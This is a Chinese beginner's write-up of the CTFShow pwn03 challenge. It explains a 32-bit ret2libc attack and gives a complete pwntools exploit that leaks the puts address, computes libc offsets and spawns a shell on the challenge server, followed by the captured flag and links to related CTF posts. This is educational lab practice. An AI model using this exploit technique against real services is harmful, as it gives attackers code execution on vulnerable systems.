本文来自一个初学CTF的小白,如有任何问题请大佬们指教!

题目来源

CTFShow pwn - pwn03 (ret2libc)

https://ctf.show/challenges

思路

1.下载题目放到checksec先查一下

2.IDA打开题目

Shift + F12查看字符串发现没有system和/bin/sh,但是有libc文件。

3.用gdb的cyclic查询一下溢出所需要的大小

cyclic用法:

1.先用cyclic 40生成一段字符串:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa

2.gdb运行程序,输入字符串

3.cyclic -l 【错误地址】获得溢出所需数据量为13

4.写exp

点击查看代码
from pwn import *
from LibcSearcher import * io = remote('pwn.challenge.ctf.show',28270)
elf = ELF('stack1')
context.log_level = 'debug' puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = 0x080483C0 payload1 = b'A'*13 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
io.sendlineafter(b'32bits\n',payload1)
io.recv()
leak_addr = u32(io.recv(4)) print(hex(leak_addr))
libc_base_addr = leak_addr - 0x67360
system_addr = 0x3cd10 + libc_base_addr
bin_sh_addr = libc_base_addr + 0x17b8cf
payload2 = b'B'*13 + p32(system_addr) + p32(1234) + p32(bin_sh_addr) io.sendlineafter(b'32bits\n',payload2)
io.interactive()

5.得到flag

ctfshow{fad8c27d-13de-4e58-b0bc-8ad69859693e}

本题注意

1.题目第一次输出有一个换行符,需要p.recv()接收掉这个换行符,第二次recv到的前四个字节就是泄露出来的puts函数地址

2.本地运行时程序的libc使用的是本地/lib/i386-linux-gnu/libc.so.6这个位置的,而远程的libc是老版本的ubuntu的,所以你在打本地写的脚本与打远程的脚本两者偏移是不一样的

CTFSHOW pwn03 WrriteUp的更多相关文章

  1. ctfshow之Web入门刷题记(从89开始,持续更新)

    0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...

  2. 关于CTFshow中Web入门42-54

    0x00前记 ​ 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...

  3. c通过ctfshow学习php反序列化

    web254 web255 web256 web257 web258 web259 web260 web262 web263 web264 web265 web266 web254 error_rep ...

  4. ctfshow——web_AK赛

    签到_观己 从题目描述中没发现什么有用的信息 发现文件包含 尝试使用PHP伪协议执行命令,发现无法执行 尝试使用远程文件包含,发现也未开启 尝试使用日志注入 记录了UA值,抓包写入一句话木马 使用蚁剑 ...

  5. ctfshow WEB入门 信息收集 1-20

    web1 题目:开发注释未及时删除 查看页面源代码即可 web2 题目:js把鼠标右键和f12屏蔽了 方法一: 禁用JavaScript 方法二: url前面加上view-source: web3 题 ...

  6. ctfshow萌新 web1-7

    ctfshow萌新 web1 1.手动注入.需要绕过函数inval,要求id不能大于999且id=1000,所以用'1000'字符代替数字1000 2.找到?id=" "处有回显 ...

  7. ctfshow web2 web3

    ctfshow web2 1.手动注入题.先用万能密码admin' or 1=1%23,有回显 2.union select注入,2处有回显 3.依次查找数据库.表.字段 得到flag ctfshow ...

  8. ctfshow web入门部分题目 (更新中)

    CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...

  9. CTFshow——funnyrsa1的wp理解

    题目如下: 题目分析: 拿到题,发现给的e不常规,p1和p2相等,有两个不同n,两个不同c和两个不同e.给定两个密文的情况下,通常需要找到两者之间存在的关系,"合并"密文求解才能得 ...

  10. CTFshow刷题记录

    整理的一些ctf题目 WEB题 ctfshow 年CTF 除夕 题目要求通过get传入year参数然后进行判断是否成立,成立就返回flag 这里可以用科学计数法表示通过get传入year=2.022e ...

随机推荐

  1. Vue 打包后自定义样式无法覆盖elementUI组件原有样式问题

    Vue 打包后自定义样式无法覆盖elementUI组件原有样式问题   by:授客 QQ:1033553122   开发环境   Win 10   node-v10.15.3-x64.msi 下载地址 ...

  2. uniapp快速入门,环境搭建,不同ui选择,插件安装不同方式,图标库引用不同方法。总结者必看

    第一章快速使用 uniapp 快速使用 序 第一步HBuilder 中新建一个vue2.0项目,最简单的模块, 第二步安装ui       npm install uview-ui@2.0.36 第三 ...

  3. 修复ERROR 1045 (28000): Access denied for user 'root'@'%' (using password: YES)

    修复ERROR 1045 (28000): Access denied for user 'root'@'%' (using password: YES) 直接修改 mysql.user 表中的权限字 ...

  4. 《最新出炉》系列初窥篇-Python+Playwright自动化测试-58 - 文件下载

    1.简介 前边几篇文章讲解完如何上传文件,既然有上传,那么就可能会有下载文件.因此宏哥就接着讲解和分享一下:自动化测试下载文件.可能有的小伙伴或者童鞋们会觉得这不是很简单吗,还用你介绍和讲解啊,不说就 ...

  5. windows10 idea springboot项目部署

    windows10 idea springboot项目部署 一,springboot项目 本次项目在原项目的基础之上进行了二次开发:添加了index.html页面 根据配置文件配置数据库 先创建数据库 ...

  6. 【TypeScript】Re01

    参考视频: https://www.bilibili.com/video/BV14Z4y1u7pi JS已有类型: 基础类型 number / string / boolean / null / un ...

  7. docker容器挂载host宿主机的本地目录,docker容器与宿主机之间互相拷贝文件

    docker容器挂载host宿主机的本地目录,docker容器与宿主机之间互相拷贝文件 参考于: https://blog.csdn.net/weixin_37773766/article/detai ...

  8. 国产CPU(兆芯 kx-6640) 播放1080p视频效果

    前一阵买了一个国产CPU的主机(国产CPU,国产操作系统UOS--零刻LZX迷你主机 , 显卡驱动安装以及屏幕配置),cpu是兆芯  kx-6640,用来播放1080p的视频虽然不是那么丝滑的流畅,但 ...

  9. 【转载】 Ubuntu下使用VSCode的launch.json及tasks.json编写

    版权声明:本文为CSDN博主「子木呀」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明.原文链接:https://blog.csdn.net/qq_41687938/a ...

  10. 高校教编程是否应该将Python作为主语言

    偶读一文:https://www.cnblogs.com/qing-gee/p/12941219.html 想到了这样的一个老问题,个人搞计算机软件开发.人工智能的时间已经十余年,虽然个人能力有限但是 ...